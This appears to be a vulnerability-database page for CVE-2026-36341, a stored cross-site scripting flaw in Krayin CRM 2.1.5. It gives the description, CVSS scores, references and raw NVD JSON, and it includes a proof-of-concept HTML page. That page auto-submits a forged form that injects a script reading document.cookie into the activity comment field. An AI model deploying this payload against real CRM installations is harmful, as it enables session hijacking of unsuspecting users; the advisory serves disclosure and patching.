CVE-2026-36341

Description

Cross-Site Scripting (XSS) vulnerability exists in Webkul Krayin CRM v2.1.5. The application fails to sanitize user-supplied input in the comment field during Activity creation on the /admin/activities/create endpoint

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Webkul Krayin CRM 2.1.5

Webkul Krayin CRM < 2.1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-36341 (Stored XSS in Krayin CRM)
  Target Endpoint: /admin/activities/create
  Vulnerable Parameter: comment
-->

<html>
  <body>
    <form action="http://target-domain.com/admin/activities/create" method="POST">
      <input type="hidden" name="type" value="call" />
      <input type="hidden" name="comment" value="<script>alert(document.cookie);</script>" />
      <input type="hidden" name="participant" value="1" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Automatically submit the form to demonstrate the vulnerability
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36341
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36341
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36341/
[4] VulDB https://vuldb.com/cve/CVE-2026-36341
[5] https://cyber.spool.co.jp/vulnerabilities/cve-2026-36341/
[6] https://drive.google.com/file/d/1Y_WjD4Tiq_z7zQUlddFCFMDoyyN300r9/view
[7] https://github.com/cybercrewinc/CVE-2026-36341
[8] https://github.com/krayin/laravel-crm/pull/2401
[9] https://github.com/krayin/laravel-crm/releases/tag/v2.1.6
[10] https://cyber.spool.co.jp/vulnerabilities/cve-2026-36341/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36341", "sourceIdentifier": "[email protected]", "published": "2026-05-07T16:16:18.900", "lastModified": "2026-05-07T18:45:48.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting (XSS) vulnerability exists in Webkul Krayin CRM v2.1.5. The application fails to sanitize user-supplied input in the comment field during Activity creation on the /admin/activities/create endpoint"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cyber.spool.co.jp/vulnerabilities/cve-2026-36341/", "source": "[email protected]"}, {"url": "https://drive.google.com/file/d/1Y_WjD4Tiq_z7zQUlddFCFMDoyyN300r9/view", "source": "[email protected]"}, {"url": "https://github.com/cybercrewinc/CVE-2026-36341", "source": "[email protected]"}, {"url": "https://github.com/krayin/laravel-crm/pull/2401", "source": "[email protected]"}, {"url": "https://github.com/krayin/laravel-crm/releases/tag/v2.1.6", "source": "[email protected]"}, {"url": "https://cyber.spool.co.jp/vulnerabilities/cve-2026-36341/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}